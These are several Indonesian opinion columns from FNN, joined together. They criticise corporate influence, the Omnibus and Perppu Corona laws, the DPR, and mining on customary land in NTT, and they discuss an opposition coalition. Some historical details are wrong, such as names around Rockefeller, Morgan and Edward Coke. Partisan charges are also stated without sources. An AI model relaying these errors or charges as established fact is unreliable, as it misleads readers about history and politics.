Kesulitan ini, dalam sejarahnya pernah dialami oleh pemerintah Amerika Serikat. Theodeore Rosevelt, penantang paling bergairah terhadap korporasi, dalam kenyataannya terhuyung-huyung menghadapi korporasi. Politik “Trust Buster” yang menandai kehebatan pemerintahnya, dalam kenyataanya tidak bergigi. Memang bukan pada masanya The Federal Reserve Act lahir. Betul itu. Tetapi tahukah bahwa pembentukan The Federal Reserve Act itu dilakukan secara merangkak? Dimulai dengan National Currency Commission 1907, diketuai oleh Nelson Alridge, senator Repubik. Dari komisi inilah semua pemikiran untuk The Federal Reserve, yang tidak lain merupakan American Central Bank itu, diawali secara sistimatis. Anda tahu? Bank ini tidak ada ketentuannya dalam UUD Amerika. Theodeore, dikenal sebagai presiden yang mengawali secara sistimatis “kebijakan progresif.” Esensi kebijakan ini adalah pemerintah ikut masuk sejauh mungkin mengurus urusan rakyat. Dalam gelora progresifitasnya dengan kebijakan “Trust Buster” dia didatangi J.P. Morgan. Apa katanya? Kata Paul kepada Theodore, bila ada yang kami lakukan salah, kirimlah orang anda bertemu orang kami. Mereka akan menyelesaikan semuanya. Hebat kan korporasi? Ini demokrasi atau korporatokrasi? Ilmuan boleh bilang ini korporatokrasi. Bukan demokrasi. Tetapi apakah sebutan itu mengubah tampilan negara? Tidak. Sama sekali tidak. Memang Standar Oil, pencetus korporasi berkarakter “trust” memang dibubarkan oleh pemiliknya, David Rockeffeler. Tetapi karena tekanan sistimatis dari pemerintah. Bubarnya Standard Oil karena tekanan konstan dan sistimatis Ida Tarbel, Jurnalis Muckraker top masa itu. Serangan habis-habisan Ida Tarbel itulah yang membuat Rockeffeler terpojok. Dalam kenyataannya Standar Oil telah memiliki saudari-saudarinya. Exxon dan Socal misalnya. Mereka menggurita di seluruh aspek politik. Itu sebabnya Amerika harus bikin lagi Clayton Act 1914, melengkapi Sherman Anti Trus Act 1890. Melalui UU terakhir ini dilembagakan Federal Trade Commission. Tetapi seperti pendahulunya, UU terakhir hanya hebat dalam nama. Lumpuh dalam kenyataannya. Tahun 1949 pemerintahan Amerika dibawah Presiden Truman menggunakan UU Clayton Act 1914 menggempur sejumlah kartel minyak. Hasilnya? Kebijakan pemerintah berubah seiring naiknya Eishenhower. Jaksa Agung, James McGraney, yang menggebu-gebu pada awalnya, tidak berdaya. Korporasi kembali melenggang lagi seperti biasa. Korporasi, jadinya bukan sakadar state. Mereka dalam kenyataannya adalah super state. Mereka, dengan semua sumberdayanya, menempatkan orang-orangnya dalam pemerintahan. Bisakah, dalam kasus kita, dilakukan oleh UMKM? Mustahil, adalah jawaban yang tepat. Menempatkan orang-orangnya dalam pemerintah menjadi taktik canggih mereka. Mereka tak perlu menyuap atau mengeluarkan uang pelicin untuk membeli kebijakan. Arthur Slewyn Miller dalam Vilanova Law Review Volume 12 Nomor 1 tahun 1968, mengawali artikelnya dengan satu kutipan bagus. Miller mengutip pandangan Professor H.L. Nierburg, penulis buku In the Name of Science. Profesor ini menggambarkan, dalam kata-katanya on dust jacket as “chilling account of (the) growth of the scientific-military-industrial complex in America”. Diikuti pernyataan, dalam kata-katanya the statmen appears, “Instead of fighting “creeping socialism”. UMKM Hanya Bisa Meratap Industri swasta Amerika, katanya, dengan skala yang besar memasuki dan menjadi agen utama sistem ekonomi baru. Ketika itu mereka mengubah, merangcang ulang usaha swasta tradisional dan menciptakan korporasi negara yang bersifat fasis. Ini dilukiskan oleh Nieburg sebagai “contract state”. Bisakah Indonesia meminimalkan keganasan ini? Harus diakui, pembentuk UUD 1945, khususnya Bung Hatta mempertimbangkan skenario itu. Dilembagakan pada pasal 33 UUD 1945 tak cukup komprehensif. Pasal ini memang telah diubah.Walau bersifat general, tetapi terdapat sisi hebat di dalamnya. Sayangnya pembentuk UU, DPR dan Presiden, gagal mengerti dan memahami makna esensial pasal gagasan Bung Hatta ini. Kegagalan konstan dan sistimatis inilah, yang akan membawa negara ini memasuki apa yang diistilahkan oleh Arthur Selewyn Miller dengan Techno-corporate State. Negara dipandu oleh ilmu pengetahuan teknis, yang diprakarsai korporasi. Mereka tidak memerintah secara langsung. Tetapi siapapun yang memerintah, selalu diisi orang-orang mereka. Ini akan terus bergerak ke arah positif (aktif mengurus rakyat). Tetapi sifat dan urgensi urusan ini didekasikan untuk kepentingan akumulasi “kapital” mereka. Dapatkah ini dikendalikan? Setidaknya dijinakan? Terlihat tidak bisa. Sekelumit kenyataan yang dikemukakan pada awal artikel ini cukup dijadikan jawabannya. Disepelekannya semua pandangan tentang bahaya RUU Omnibus Cipta Kerja, sejauh ini, juga menandai spektrum itu. Tidak bagus mencurigai memang. Tetapi harus dipetakan kemungkinan cara kerja Wall Street dibalik usaha RUU yang sangat binasa ini. Bagaimana caranya? Menggerakan semua sumberdaya opponent RUU ini. Lalu memompa semua gagasan ke tengah masyarakat bahwa “RUU ini jimat” buat bangsa ini lincah selincah China dalam balapan mengejar keteringgalannya.” Pembaca FNN yang budiman, tahukah anda bahwa ketika pemerintahan China hendak memperbaiki keadaan upah buruhnya? Ditanggapi sinis, bahkan ditantang korporasi? Ben Chu, Jurnalis Harian Independen London memotretnya dengan apik. Pada tahun 2007, tulisnya, ketika pemerintahn China perkenalkan konsultasi mengenai peraturan baru yang mencakup sejumlah inisiatif untuk peningkatan hak-hak pekerja. Apa yang terjadi? Chu menulis selanjutnya, “korporasi keberatan. Keberatan itu disuarakan oleh perusahaan dan investor Barat. Mereka dipimpin oleh Kamar Dagang AS di China. Mereka berpendapat “kami yakin bahwa hal tersebut (peraturan baru) bisa berdampak buruk bagi lingkungan investasi China. Mereka bahkan memperingatkan dalam bentuk ancaman terselubung, bahwa peraturan tersebut bisa “mengurangi kesempatan kerja RRC.” Tidak saja di alam demokrasi, di alam komunis pun mereka sama. Begitulah mereka. Politisi Indoneaia bisa mengendalikan? Sulit, dan mustahil. Mereka terlalu jago dalam lobi. Juga terlalu cerdas merancang isu dan mengendalikan ruang politik. UMKM, jelas bukan tandingan mereka. Dan rakyat hanya bisa meratap nasib hak konstitusinya. Di lintasan inilah Indonesia berlari, kini dan akan datang. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Tana Mama di Tengah Penetrasi Kapital dan Hegemoni Kuasa di NTT

(Sebuah Catatan Perspectif Ekologis, Antitesa Teknologis) Oleh: Natalius Pigai Jakarta, FNN - Kehadiran Perusahaan di NTT telah menimbulkan berbagai soal. Kita juga mendengar riak-riak di rakyat kecil baik di Komodo, Manggarai Barat, Tengah dan Timur. Kehadiran Perusahan Listrik di Daratei di Ngada serta Pulau Timor dan berbagai kegiatan Proyek termasuk pembangunan Bendungan serta Perkebunan, Peternakan. Mendengarnya kisah derita, rintihan perlawanan orang-orang tidak berdaya akibat hadirnya usaha-usaha berskala besar di Nusa Tenggara Timur. Saya menyimak protes warga dengan berbagai reaksi spontanitas telah mencuri perhatian, dan sudah saatnya kita mesti menyelami nurani rakyat kecil. Orang Timur dari jaman negara ini, tidak pernah minta-minta dan tidak pernah mengeluh dengan keadaan yang mereka hadapi walau mereka miskin, makanan susah, kurang sehat, pendidikan rendah, rumah yg tidak layak. Rakyat tidak pernah mengeluh, minta-minta atau mengemis ke negara. Mereka makan ubi, singkong katela tetap saja mereka bahagia. Beda di Jawa kalau tidak ada beras, gula, daging, garam harus diimpor. pemerintah kerja keras memenuhi kebutuhan rakyatnya. Kalau wilayah Timur jalan yang rusak itu biasa, bahkan jalan kaki, naik kuda berkilo-kilo dan bahkan berhari-hari. Rakyat tidak pernah mengeluh dan tetap merasa nyawan dan bahagia. Namun kalau tanah sepetak yang merupakan warisan nenek moyang diambil untuk dibuat tambang atau pariwisata, bisnis hanya untuk memuaskan syahwat para pengusaha dan penguasa jelas rakyat jelata yang sudah miskin papa dan tidak berdaya pun tdk akan terima. mungkin nyawa pun mereka pertaruhkan untuk pertahankan hak tanah tempat kehidupan mereka. Dalam kaitan tersebut di ataskehadiran tambang mangan atau penambangan di NTT harus memperhatikan 9 aspek supaya tidak merugihkan Rakyat: Ijin atau perijinan harus transparan dan partisipasif jika ijin tanpa diketahui warga dan mendapat persetujuan warga pemilik tambang maka tentu harus diprotes.Perijinan jangan lupa melibatkan komunitas sosial atau tatanan adat dalam hal ini gendang one lingko pea. Perlu persatukan Tua Teno. Dalam hal ini harus perhatikan jangan sampai pemerintah membentuk gendang one dan lingko pea atau justru tua teno palsu, seakan akan hanya menjustifikasi persetujuan rakyat. Ini modus yang selalu ada. Dulu di Sirise pernah terjadi, semoga saja hari ini tidak ada manipulasi tatanan adat.Pengembangan pertambangan perlu memperhatikan soal legalitas dan aspek formal. Dalam hal ini menunjukkan lahan tersebut bersih dari perselisihan hak atas tanah, nilai kultur dan budaya (cear and clean).Perlunya keterlibatan warga sebagai bagian dari pemilk, tidak sekedar disebut sebagai warga berdampak tetapi juga sebagai pekerja-pekerja untuk membantun sense of belonging.Kehadiran perusahan perlu memberi nilai lebih dan keuntungan bagi masyarakat lokal pemilik tanah. Ingat mereka adalah pemilik ulayat atas tanah, warisan nenek moyang yang memberi kontribusi berubah tanah dan sumber daya yang terkandung di dalamnya. Dalam konteks ini rakyat mesti disejajarkan dengan pemilik dana dan teknologi berada dihorison yang sama (egual).Pemerintah atau negara harus dapat keuntungan sebagai pemegang atau penguasa atas tanah. Perusahan hadir di suatu wilayah tanpa memberi kontribusi bagi daerah atau nilai kontribusinya tidak sesuai dengan keuntungan atau kerusakan. Kontribusi dari puluhan Perusahan Mangan di Manggarai tahun 2013 hanya 112 juta tumpah. Pembangun sejatinya juga adanya penetrasi kapital dalam hal ini korporasi sebagai mitra pembangunan.Karyawan mesti menjadi mitra yang simbiose in-terdependent, saling menguntungkan dimana pengusaha (owner) sebagai pencipta lapangan kerja (job creator) dan pekerja memberi produktivitas dan melipatgandakan keuntungan bagi pengusaha. Karena itu karyawan mesti sejahtera dan hak-haknya terpenuhi.Pengusaha harus mendapat keuntungan jika tidak dapat untung maka untuk apa perusahan hadir.Kelestarian lingkungan harus dijaga. Lingkungan penting bagi kehidupan makhluk hidup, kehadiran Perusahan tidak boleh merusak lingkungan. Perusahan harus memastikan ekosistem tidak dirusak, biota tetap terjaga. Usaha diatas ekologi yang baik akan bermanfat bagi kelangsungan hidup. Pembangunan usaha tidak berperspektif teknologis tetapi juga ekologis dan antropologis. Kita dapat membayangkan ketika “burung pipit yang kecil di atas pohon, tiba-tiba terjadi kebakaran, burung pipit tersebut terbang jauh mencari tempat yang aman dari kebakaran, namun karena kebakarannya meluas ribuan hektar maka burung pipit yang terbang bermil-mil tersebut juga mati karena tidak ada pohon yang hidup. Demikian cara memandang kehadiran sebuah Perusahan, bagaimana menerapkan nilai-nilai humanitarianisme. Jangan sampai rakyat korban dan miskin secara struktural akibat kelalaian pemerintah dan korban teknologis karena kejahatan usaha (bisnis) *) Natalius Pigai, Komisioner Komnas HAM 2012-2017, Menangani Kasus Kasus Besar di NTT, Perang Tanding di Adonara, 28 Tambang Mangan di Manggarai, Bendungan Kolhua di Kupang).

Sembilan Tokoh Oposisi dan Koalisi Kebangsaan

By Tony Rosyid Jakarta FNN – Sabtu (16/05) Prof. Dr. Din Syamsudin, salah satu dari sembilan orang yang didaulat sebagai tokoh oposisi menyerukan untuk dibentuk koalisi. Koalisi ini terdiri dari orang-orang bijak. Tidak sengsarakan rakyat Dua tugas koalisi ini. Pertama, sebagai gerakan moral. Mengingatkan dan melakukan kritik terhadap setiap kebijakan yang merugikan rakyat dan berpotensi menghancurkan masa depan bangsa. Kedua, untuk melakukan tekanan politik kepada tembok kekuasaan. Belum diketahui apa rumusan "tekanan politik" yang dimaksudkan dan dirancang oleh Din Syamsudin ini. Apakah dalam bentuk "social movement" yaitu demonstrasi? Din belum mengungkapkan secara transparan mengenai “tekanan politik itu”. Tokoh oposisi ini mengaku tidak hanya sebatas kata-kata. Tapi berbuat nyata. Mantan ketua MUI ini telah menggalang para tokoh untuk menyatakan keprihatinan atas kasus-kasus Mega Korupsi di yang mewabah di negeri ini. Upaya Din Syamsudin menggalang para tokoh merupakan bentuk nyata dari langkahnya melakukan pressure untuk menjebol tembok kekuasaan. Apakah ini yang disebut dengan koalisi kebangsaan? Berbagai pihak telah mendesak kepada sembilan tokoh oposisi untuk bersatu dan melakukan langkah-langkah yang lebih strategis dan taktis. Jika sembilan tokoh oposisi bersatu dan membuat pernyataan bersama, maka dampak moralnya akan sangat dahsyat. Selain sembilan tokoh oposisi ini, ada banyak tokoh-tokoh kaliber yang juga punya satu keprihatinan yang sama. Mereka juga keras bersuara, dan selama ini konsisten menyuarakan nurani rakyat. Ada Natalius Pigai, tokoh Papua yang tidak pernah berhenti mengkritis dan menyoroti pelanggaran Hak Asasi Manusia (HAM) yang sering terjadi setahun terakhir ini. Imam Prasojo, sosiolog Universitas Indonesia (UI) yang merasa miris dengan dampak sosial yang diakibatkan oleh pola komunikasi elit dan cara pengelola negara. Gatot Nurmantio, mantan Panglima TNI yang dicopot sebelum masa pensiun. Jenderal bintang empat ini selalu mengingatkan tentang bahaya kebangkitan PKI dan antek-anteknya. Juga tentang penyelundupan ribuan pucuk senjata dari luar negeri. Ada juga Anwar Abbas. Sekjen MUI ini nggak bisa tenang menyaksikan arus TKA China yang terus memasuki Indonesia. Padahal Gubernur, Bupati dan rakyat di Morowali Sulawesi Tengah, Konawe Sulawesi Tenggara dan Halamhera Tengah Maluku Utara menolaknya. Apalagi di saat pandemi Covid-19 seperti sekarang ini. Gus Aam, cucu K. H. Hasbullah, pendiri NU ini juga aktif menyuarakan hak-hak umat yang selama ini merasa terpasung. Sekitar 100 tokoh Jawa Timur telah membuat petisi berisi tentang keprihatinan banyak kebijakan yang dibuat pemerintah. Mereka adalah para guru besar, akademisi dan aktifis. Para tokoh Jawa Tengah, Jawa Barat dan Banten kapan menyusul? Masih banyak tokoh-tokoh lain yang sementara ini bersuara sendiri-sendiri. Jika mereka bersatu dan menyatakan keprihatinan bersama, maka dampaknya akan jauh lebih efektif. Istana tak hanya mendengar, tapi akan menghitung kekuatan sosial ini. Jelang lebaran, suasana sepertinya sedikit agak menegang. Terutama setelah Perppu Corona diketok jadi undang-undang. Iuran BPJS dinaikkan. Relaksasi PSBB diterapkan, dan diajukannya RUU Haluan Ideologi Pancasila (HIP) yang mengabaikan TAP MPRS/25/1966 tentang haramnya PKI di Indonesia. Perlu diketahui, koalisi kebangsaan, jika betul akan dibentuk, mesti dikelola sebagai gerakan moral. Bukan gerakan politik. Mungkinkah akan berubah jadi gerakan politik? Tak ada yang tahu jawabannya. Tapi, hendaknya tidak memberi peluang terhadap penumpang gelap untuk memanfaatkan gerakan moral ini. Awas jangan ada penumpang gelap. Sebab, gerakan ini rentan dimanfaatkan oleh elit politik, atau parpol untuk melakukan manuver-manuver gerakan tanpa bola. Yang boleh jadi akan kontra-produktif dengan gerakan moral itu sendiri. Dai lagi... Dia lagi... Anda tahu, jika empat parpol besar ambil kesempatan dan sedikit bermanuver, maka sejarah bangsa ini bisa berubah. Untuk itu, waspadalah waspadalah waspadalah Empat parpol besar itu adalah... Ah, anda pasti sudah tahulah. Gagasan koalisi kebangsaan itu baik selama dijadikan sebagai gerakan moral. Apalagi jika istana mau menggandeng para tokoh oposisi ini untuk bersinergi dan bersama-bersama mengevaluasi dan mendesign ulang skema masa depan bangsa ini, maka akan jauh lebih bijak dan efektif. Jika tidak? Sejarah memiliki hukumnya sendiri. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

DPR Tak Bisa Diharapkan, Berarti Rakyat Langsung Ambil Alih?

By Asyari Usman Jakarta, FNN - Kecurangan pilpres berjalan sepurna, DPR diam. KPK dimandulkan, DPR malah setuju. Iuran BPJS dinaikkan, DPR diam juga. Malahan MA yang membatalkan. Sekarang dinaikkan lagi melawan pembatalan MA, DPR lagi-lagi tak perduli. Perppu Corona yang membuka peluang korupsi, disahkan oleh DPR. Hanya PKS yang menolak. Kemudian, UU Minerba yang diduga hanya akan menguntungkan para pengusaha tambang besar, disahkan oleh DPR. Tidak lagi istilah isi perut bumi untuk kemakmuran rakyat. Omnibus Law Cipta Lapangan Kerja (OLCLK) yang, menurut para pakar hukum dan pemerhati bisnis, hanya akan menguntungkan para pemodal tampaknya juga akan disetujui oleh DPR. OLCLK ditentang oleh serikat-serikat pekerja. Semua makhluk yang ada di langit dan di bumi, khususnya bumi NKRI, paham bahwa DPR itu dibentuk dengan tujuan untuk mewakili rakyat dalam mengawasi pemerintahan. DPR seharusnya berfungsi membela kepentingan rakyat. Seharusnya menyuarakan aspirasi rakyat. Namanya pun Dewan Perwakilan Rakyat. Nah, mengapa sekarang DPR malah menjadi stempel penguasa? Mengapa semua yang diinginkan Presiden dan para menterinya langsung diiyakan oleh DPR? Apa gerangan yang membuat para anggota Dewan bisa didikte oleh pemerintah? Banyak sekali pertanyaan yang menunggu. Tetapi, tanpa tulisan ini pun, sebetulnya rakyat sudah hilang kepercayaan terhadap DPR. Bahayanya, kalau kepercayaan sebagai wakil untuk mengawasi jalannya pemerintahan telah sirna, dikhawatirkan rakyat akan mencari cara lain untuk menjalankan fungsi itu. Fungsi pengawasan langsung. Kalau rakyat langsung turun tangan, pasti semua pihak akan repot. Mislanya, di mana mereka akan bersidang? Terpaksa di jalanan, bukan? Karena mereka tak punya gedung. Dan tak cukup juga untuk ditampung di gedung. Maklum, ‘parlemen jalanan’. Para ‘anggota’-nya bisa 10 ribu, 100 ribu, atau bahkan sejuta orang. Kalau mereka bersidang di jalanan, berarti suasananya bisa riuh. Tidak ada pimpinan yang definitf. Tidak ada mikrofon yang tertata rapi. Semua orang bisa melakukan interupsi, dsb. Yang gawatnya, parlemen jalanan itu semuanya ingin cepat-cepat. Cepat diputuskan, cepat dieksekusi. Kalau ada rintangan cepat disingkirkan. Dengan cara jalanan juga. Sebab, mereka mungkin kena terik panas. Tak dapat makan dan minum. Berkeringat-keringat. Jalan kaki ke mana-mana. Dan lain-lain. Jadi, mereka ingin semuanya kontan. Karena itu, DPR sebaiknya tidak ‘mengembalikan’ fungsi pengawasan itu kepada rakyat. Bisa sangat memalukan semua pihak. Terutama Pak Presiden. Kalimat aktifnya: memalukan bagi Pak Presiden. Kalimat pasifnya: Presiden dipermalukan. Aktif atau pasif, sama-sama tak bagus. Pastilah Pak Presiden tidak mau dipermalukan. Iya ‘kan? Tapi, susah juga. DPR sendiri tak serius. Terkesan mempermainkan mandat rakyat. Mungkin mereka lebih nyaman membiarkan para penguasa sekehendak hati. Mungkin saja DPR pun sama seperti kita-kita ini. Tak berdaya mau melawan oligarki. Cuma, bedanya: kita tak berdaya karena memang tak punya otoritas. Sedang DPR tak berdaya karena otoritasnya hilang. Tercecer sewaktu jumpa dengan para oligarki itu.[] 15 Mei 2020(Penulis wartawan senior)

Hancur Indonesia, Bila MK Terima Perpu Corona

By Dr. Margarito Kamis Jangan lupa orang yang berlaku tidak adil, berarti dia tidak takwa. Selalu awaslah terhadap hal-hal yang perlu bagi pengurusan kerajaan. Setiap saat, tetaplah berpikir seperti mukmin yang sejati dalam menyelesaikan masalah-masalah yang anda hadapi, dengan keluhuran yang sempurna, dan sederhana serta perasaan kasih sayang dan keadilan. (Imam Al-Ghazali). Jakarta FNN – Rabu (14/03). Dewan Perwakilan Rakyat (DPR), telah menerima Peraturan Pemerintah Pengganti Undang-Undang (Perpu) Nomor 1 Tahun 2020. Judul Perpu ini begitu panjang. Susah untuk mengingat dan menuliskannya, sehingga saya hanya menyebutnya “Perpu Corona”. PKS hanya sendirian yang tidak setuju Perppu Corona menjadi undang-undang. Selebihnya itu setuju. Menyebut mereka yang menyetujui Perpu ini, tak mempertimbangkan bahaya besar yang dibawa oleh Perppu Corona. Boleh jadi akan diolok-olok. Menyebut persetujuan mereka sebagai kesediaan termurah mengebiri kewenangan mereka sendiri. Sekaligus memanipulasi kedaulatan rakyat. Boleh jadi akan ditandai sebagai orang-orang berakal pendek. Toh pengadilan, khususnya Mahkhmah Konstitusi (MK) masih ada. Pengadilan dapat mengesampingkan sebagian, bahkan seluruh pekerjaan bersama DPR dan Presiden. Bila anda tidak puas, gunakan hak konstitusi anda. Pergilah ke Mahkamah Konstitusi. Silahkan bertarunglah di MK sana. Sampai di sini terlihat sangat sederhana, dan sepintas selalu masuk akal. Terlalu banyak yang terkecoh dengan hukum. Akibatnya, hukum diterima begitu saja sebagai hal hebat dalam berbangsa dan bernegara. Hukum mewakili satu peradaban lain, yang berbeda dengan peradaban bar-barian. Gambaran ini jelas bersifat reduksionis. Masyarakat bar-barian sekalipun, juga hidup dan diatur dengan hukum. Hukum, memang tak selalu menipu layaknya demokrasi. Sekali lagi, tidak. Hukum justru menjadi permainan demokrasi paling canggih. Demokrasilah, yang menjadi induk kredo hukum harus diagungkan. Hukum supreme atau supremacy of law atau constitution as a law of the land. Hebatkah itu? Ya hebat. Karena kehebatannya itu, maka mafia kecil-kecilan, kartelis berskala korporasi, dengan otokrat pemula yang bodoh serta demagok tersamar, juga menyukainya. Itu soalnya. Dan ini yang soal besar. Bukankah hukum-hukum itu dibentuk oleh politisi? Hukum tidak pernah lebih dari endapan-endapan kepentingan yang saling menyanggah. Huruf-huruf hukum, anda tahu, tidak pernah lain selain kepentingan yang dikompromikan, diintegrasikan dan diadaptasikan. State of nature dari hukum negara dimanapun itu, tidak pernah lain selain kepentingan. Agenda Korporasi Busuk Merampok Jelas pada semua spektrumnya, hukum selalu mudah dimanipulasi. Dibelokan kearah apapun, sejauh kepentingan terkuat menjadi penyangganya. Itu sebabnya membicarakan hukum, sepenting apapun itu, tak pernah menjadi lebih penting dari bicara bagaimana hukum itu dirancang dan dibicarakan di ruang tersembunyi. Demokrasi selalu muncul sebagai sarana legitimasi paling tangguh, dan tergantikan. Demokrasi memoles semua mimpi otokrat, demagok, korporat oligarkis dengan polesan khasnya. Polesan itu adalah hukum merupakan endapan, cerminan dan pantulan kehendak rakyat. Begitulah kehebatan tipuan dari demokrasi. Meloloskan Perppu Corona, sejauh ini ditunjuk sebagai cara paling jitu bangsa ini mendemonstrasikan semangat kekelurgaan dan gotong-royong untuk menyerang seluruh akibat buruk Corona. Argumen sederhana khas politisi pemula itu, melambung tinggi di jagat politik mutakhir. Hanya itu saja. Tak lebih. Heroik dan patriotik kedengarannya. Heroisme dan patriotism itu mengunci semua hasrat, andai ada, dan kebutuhan mengenal bahaya Perppu Corona ini. Heroisme buta itu menutup pencarian sistimatik terhadap, misalnya cukupkah keadaan sekarang menjadi fundasi perluasan kewenangan presiden? Beralasankah keadaan sekarang, untuk kesekian kalinya saya ungkapkan, perluasan kewenangan BI, dan OJK? Beralasankah untuk terus-terus menjadikan krisis keuangan sebagai monster? Padahal krisis terlihat memiliki hukum khasnya. Datang dalam siklus yang acap dapat dikalkulasi sebelumnya. Dua kali krisis keuangan, dua kali pula bangsa ini berurusan dengan hukum. Bukan dalam arti membuat hukum. Tetapi setelah membuat hukum, penanganan terhadap krisis menghasilkan masalah hukum. Politisi memang sulit diminta belajar. Mengambil pelajaran dari sejarah krisis yang sebelumya. Sayang, politisi sedang tak tergoda dengannya. Pengalaman itu masih dianggap tak berguna oleh Senayan untuk diletakan di atas meja kalkulasi mereka. Tragis memang. Kenyataan yang begitu telanjang, tak mampu menggoda mereka menjadikannya guru yang mencerahkan. Pahit, politisi belum mau menjadikan diri menjadi yang mencerahkan. Mengenal masa lalu bangsa yang hitam. Yang pernah melilit bangsa yang besar ini. Masih begitu gampang untuk disepelekan oleh politisi. Padahal China yang hari-hari ini begitu menakutkan bagi Amerika, mencapai level itu, karena para politisinya mengenal masa lalu. Mereka punya yang hasrat besar mengubah dan menjadikan China yang menakutkan, bahkan kelak memimpin dunia. Pembaca FNN yang budiman, omong-kosong paling canggih saa ini adalah menyatakan korporasi-korporasi Indonesia babak belur. Bahkan akan gulung tikar sekarang dan setelah corona pergi. Entah kapan? Dan pembelaan terhadap korporasi yang paling membodohi rakyat adalah memberi kewenangan BI dan OJK untuk “mengistimewakan” korporasi, dan menyepelekan UMKM. Ini pembodohan sangat murah, menjijikan dan tidak bermutu. Mahkamah Konstitusi (MK), mungkin tak punya pengetahuan dan alat untuk memetakan dimensi kartel, oligarkis dan otokrat, dibalik Perpu Corona itu, bila kelak mereka ditantang melalui Judicial Review (JR). Mungkin. Tetapi andai MK tertatih-tatih pada wilayah ini, mungkinkah MK tak tertatih-tatih juga pada isu, sebut saja, “beginikah cara mengidentifikasi keadaan genting dan memaksa” itu? Andai, entah bagaimana formulanya, MK menghindar dari semua soal politik di atas. Mungkinkah MK menempuh jalan berputar pada secuil rumus dalam mengidentifikasi legalitas kemunculan keadaan kegentingan yang memaksa? Mungkin saja. Dan itulah jalan yang paling aman. Akankah MK di jalan itu mengambil dari gudang khasanahnya; (1) ketiadaan hukum, dan (2) hukum yang tersedia tidak memadai, serta (3) ada kebutuhan yang terasa mendesak untuk menangani keadaan, sebagai dasar legitimasi konstitusi adanya kegentingan yang memaksa? Itu pekerjaan kecil yang standar. MK tidak boleh terlalu naif dengan tak melampaui demarkasi kecil itu. MK harus memasuki wilayah yang lebih riskan. MK harus punya tesis, setidaknya mencurigai berdasarkan tuntunan sejarah, bahwa “krisis adalah cara kerja dari korporasi dan para oligarskis tamak dan busuk, yang secara samar-samar berusaha memanipulasi keadaan untuk memperbesar kekuasaan Presiden yang melebihi konstitusi. MK Yang Dibanggakan Sejarah Asyari Usman, jurnalis senior FNN, telah dengan sangat tepat mengidentifikasi “merusak negara” bisa dilakukan dengan menggunakan konstitusi. Asyari memang bukan jurnalis hukum dan politik. Tetapi tetap saja seorang jurnalis, yang sangat kredibel. Asyari mantan jurnalis BBC London, media massa nomor satu di Inggris. Pikirannya benar, sekalipun ditantang dengan argumen demokrasi. Pikiran Asyari Usman itu, hemat saya memaksa MK, tentu agar bisa terlihat sebagai orang-orang yang gagah, dan berwibawa. MK harus berani untuk tak hanya berputar-putar pada konsep tradisional semata. Konsep-konsep itu, misalnya “presidential discretion” atau “presidential power” atau “implied power” atau “emergency power” atau “executive privilege”. MK, mau tak mau harus menenggelamkan kepalanya ke dalam musabab konsep itu. Sebab di dalam musabab itulah dimensi busuknya dapat dikuak. MK dalam konteks impian itu, harus menyusuri dengan cermat, dimensi manipulatif khas politisi utilitarian, dan demagog terselubung. Kerena merekalah juga yang menggelindingkan konsep “presidential prerogative, dan “executive prerogative” mutakhir. Masalahnya, ini pekerjaan tidak mudah, kerna kelewat berat. Seberat itu sekalipun, MK patut menghindar sejauh mungkin dari hanya mengemukakan konsep-konsep di atas sebisa dan seadanya. Sebisa mungkin, MK tidak mengetengahkan konsep-konsep di atas sekadar karena konsep itu telah begitu mewarnai khasanah pikiran tata negara Indonesia. Mari mendambakannya. Percayakan sepenuhnya kepada Yang Mulia Hakim MK. Dengan perspektif itu, mereka pasti memiliki hasrat untuk dibanggakan oleh sejarah bangsa ini. Dibanggakan oleh anak-cucunya kelak. Mereka pasti ingin dikenang sebagaimana, mungkin diantara mereka, mengenang John Marshal, hakim pertama dalam sejarah Amerika yang menemukan Judicial Review. Memikirkan semuanya, dalam keyakinan saya, tidak serumit para kimiawan memikirkan formulasi kimia untuk obat penyembuh penyakit corona, apalagi penyakit berat. Tidak. Menemukan pikiran baru, yang berbeda dengan pikiran tiga abad lalu jelas tak serumit ahli pesawat merancang sayap pesawat. Perppu Yang Cocok di Abad 17 Tak taklid buta pada konsep constitutional dictathorship-nya Clinton Rositer, ilmuan politik ini, harus dipertimbangkan. Tak terjebak pada tesis ini, akan terlihat dalam sekejap sebagai sikap yang oke. Tetapi menjadikan pikiranh itu sebagai sampah. Bukan pilihan masuk akal. Soalnya, dimana MK harus mengambil posisi? Takutlah dan kenallah MK. Perpu Corona ini cukup terang menunjukan bahwa, hanya dengan satu pukulan, kekuasaan budgenting DPR yang disediakan oleh para pendiri bangsa rontok seketika. Sialnya, DPR menerima dengan lapang dada. Entah karena terhipnotis dengan semangat royong-royong salah kaprah, atau hal lain? Entah apa itu. Kecerdasan teruntun ketakutan akan diadili di hari penghitungan akhir yang pasti. Kecerdasan itui jelas harus dipunyai hakim-hakim MK. Itu dirindukan, karena tindakan pemerintahan berdasarkan Perpu Corona ini tak bisa dicek dan dikoreksi di pengadilan. Juga tidak bisa diawasi di DPR. MK, harus bilang bahwa gagasan Perpu Corona ini hanya cocok digunakan pada pertengahan abad ke-17 dulu. Membebek tidak bakal dikenal dalam semua tradisi besar sebagai sikap baik. Itu sebabnya MK tak usah membebek pada Sir Edward Coke. Tetapi harus diakui Coke adalah pemikir tata negara paling gemilang di Inggris pertengahan abad ke-17. Dialah penantang paling gigih terhadap klaim raja absolut, Charles I pada 1648 tentang “royal prerogative”. MK tak usah menelan mentah-mentah konsep “implied power”. Ini konsep Amerika, yang hanya untuk presiden mereka. Kewenangan dalam konsep ini tidak diatur dalam konstitusi. Ini konsep hasil penalaran Alexander Hamilton, Menteri Keuangan Pertama dalam Kabinet Presidensial George Washington. Konsep “implied power” ini disodorkan dalam rangka menyingkirkan pikiran oposisi Thomas Jefferson dan Alexander Hamilton. Sebab keduanya menolak gagasan pembentukan First American Bank, yang akan didahului dengan pembentukan UU-nya. Begitu asal sebab lahirnya konsep itu. Konsep itu akhirnya memang lolos. Lolos bukan karena rasionalitasnya. Tetapi lebih karena Hamilton punya kedekatan spesial dengan George Washington. Kedekatan ini yang tidak dimiliki Thomas Jefferson dan Madison. MK Bukan Kaki Tangan Presiden Hukum tata negara, suka atau tidak, berasal dari pikiran liar politisi. Konsep “executive privilege” misalnya, muncul dalam kasus Watergate. “Executive privilege” ini adalah pikiran liar kelompok Richard Nixon, yang terus tersudut oleh skandal Watergate. Amerika diuntungkan oleh pengadilan Washington DC, yang memerintahkan Gedung Putih segera menyerahkan rekaman asli ke parlemen. Bila pengadilan Washington DC membebek, 